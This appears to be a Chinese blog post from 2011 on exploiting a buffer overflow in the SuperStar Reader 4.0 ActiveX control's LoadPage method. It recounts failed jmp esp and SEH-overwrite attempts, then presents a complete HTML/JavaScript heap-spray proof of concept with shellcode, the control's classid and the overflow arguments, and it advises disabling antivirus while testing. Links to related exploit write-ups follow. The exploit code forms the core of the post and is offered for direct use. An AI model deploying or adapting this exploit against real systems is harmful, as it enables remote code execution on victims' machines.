超星阅读器ActiveX缓冲区溢出漏洞利用-LoadPage

原创 2011年01月09日 14:39:00

超星阅读器4.0漏洞利用过程:

1.由于是缓冲区溢出,最开始我想到的利用方式"jmp esp"

   0---------------------256---------260-----------268--------------

   |       填充NOP         |  jmp esp |   数据填充  |    shellcode

   -----------------------------------------------------------------

 

将上述填充好的数据作为LoadPage的参数传进去,这次麻烦可大了,由于在超星阅读器中,会用WideCharToMultibyte将

上述传的参数进行一次转换,所以转换后的shellcode肯定变了,为了使WideCharToMultibyte之后的shellcode能够使用,

必须在给LoadPage传参的时候,对shellcode进行变形,包括“jmp esp”,在中文xp下,jmp esp的地址是0x7FFA1571,在

编码转化之后不可以在还原,会出问题,最后只好暴力搜索在kernel32.dll中找到一个合适地址的jmp esp,对这种方法,

我费了很多心思,编码转换总是出问题,最终搞定了,可是结果是我没想到的:

   一切都ok了,程序的跳转流程也在预想之中,恰好到了执行我的shellcode的时候,bug来了,shellcode无法执行。

   为什么呢? 因为shellcode存在栈中,而这个程序对栈中的数据只设了读写权限,没有可执行权限,也就是shellcode

是无法执行的,郁闷死我了……

 

2.好,既然不行,我在换一种方法:pop pop ret的方式覆盖windows异常地址

  最后也是由于编码来回转换的问题,导致无法正确覆盖异常处理地址……

 

3.正在山重水复之际,柳哥(牛人)让我试试"堆喷射",果不其然,既简单又跳过了编码的来回转换,爽哉……

  什么是堆喷射? 自我理解:就是在进程堆中申请大量的空间,然后按照一定的方式在其中组织我们的shellcode,只要程序溢出,其

  EIP命中了我们申请的堆内存,shellcode就可以被触发,该方法具有很大的稳定性和通用性,方便实用。

 

普及几个知识:

      1> javascript分配堆内存是从低地址往高地址开始的。

      2> javascript的堆结构为:

 

       0------------32-------------36----------------------------------end-2 -------------------end

       |  堆块信息  |  字符串长度   |              字符串                |    两个NULL字节结尾  |

       -------------------------------------------------------------------------------------------

      即:最开始的32个字节表示堆块信息,正如windows的进程堆,前八个字节表示堆的管理结构,接下来的4个字节表示字符串的

          长度,然后才是我们的字符串,最后是以2个NULL字节结尾,javascript能够操纵的也只是其中的字符串,最开始的36个

          字节其是没办法访问的,毕竟javascript不能操纵内存,但我们却可以依据其进行部署内存,这也是堆喷射的核心。

 

poc如下: 该poc只针对windows xp sp3_cn版,请在测试的时候关闭杀软

<html>

<pre>

<object id="evil" classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2">

</object>

 

<script>

var nop = unescape("%u9090%u9090");

var shell = unescape("%uc033%u6850%u6163%u636c%ub854%u93c7%u77bf%ud0ff%uc483%u6A0c%ub800%ucb12%u7c81%ud0ff"); //该shellcode就弹出一个计算机窗口,只针对xp sp3_CN

while(nop.length <= 0x100000/2)  //部署1M的nop区域

{

nop+=nop;

}

nop = nop.substring(0,0x100000/2-32/2-4/2-shell.length-2/2);

var arr = new Array();

for(var i=0; i<200; ++i)   //分配200M的堆内存进行部署shellcode

{

 arr[i] = nop + shell;

}

var m_a = "A";

var m_b = "B";

 

while(m_a.length <= 255) m_a+="A";

while(m_b.length <= 30) m_b+="B";

 

var arg1 = m_a + unescape("%u000c%u000c%u000c%u000c") + m_b;

var arg2 = 1;

var arg3 = 1;

var arg4 = 1;

 

evil.LoadPage(arg1,arg2,arg3,arg4);

 

</script>

</pre>

</html>

 

Author: jmf

Time:   2010年12月17日23:51:32

基于行为式验证的GeeTest验证码研究

什么是行为式验证  行为式验证的核心思想是利用用户的“行为特征”来做验证安全判别。整个验证框架采用高效的“行为沙盒”主动框架, 这个框架会引导用户在“行为沙盒”内产生特定的行为数据,利用“多重复合行为...

Heap Spray原理浅析

Heap Spray原理浅析 Magictong 2012/03   摘要:本文主要介绍Heap Spray的基本原理和特点、以及防范技术。 关键词:Heap Spray、溢出攻击、漏洞利用、...

HeapSpray+ROP绕过IE8的DEP防护 ——堆喷射技术利用超星老漏洞

堆喷射技术已经发展很多个年头了,相关的研究也挺多的,虽然现在Win7、Win8系统下的利用越来越难,但是该技术仍然是可用的,比如最近新出的IE8 use after free漏洞(CVE-2013-1...

EFS Web Server 7.2 GET请求缓冲区溢出漏洞分析与利用

简介EFS Web Server是一个可以通过web端管理服务器文件的软件,发送GET请求长度过长会触发缓冲区溢出漏洞 分析来源:https://www.exploit-db.com/exploit...

一个带有缓冲区溢出漏洞的程序

  • 2013年06月01日 13:38
  • 40KB
  • 下载

PCMan FTP Server缓冲区溢出漏洞分析与利用

简要介绍这个软件是台湾国立阳明大学医学系的一个学生在大四的时候写的,这个漏洞是有CVE的(CVE-2013-4730),软件应该还挺普及的,这是一个缓冲区溢出漏洞 具体exp可以点这里 实验用po...

超星阅读器

  • 2012年05月19日 17:50
  • 9.71MB
  • 下载

超星阅读器

  • 2013年02月03日 12:07
  • 818KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:超星阅读器ActiveX缓冲区溢出漏洞利用-LoadPage
举报原因:
原因补充:

(最多只允许输入30个字)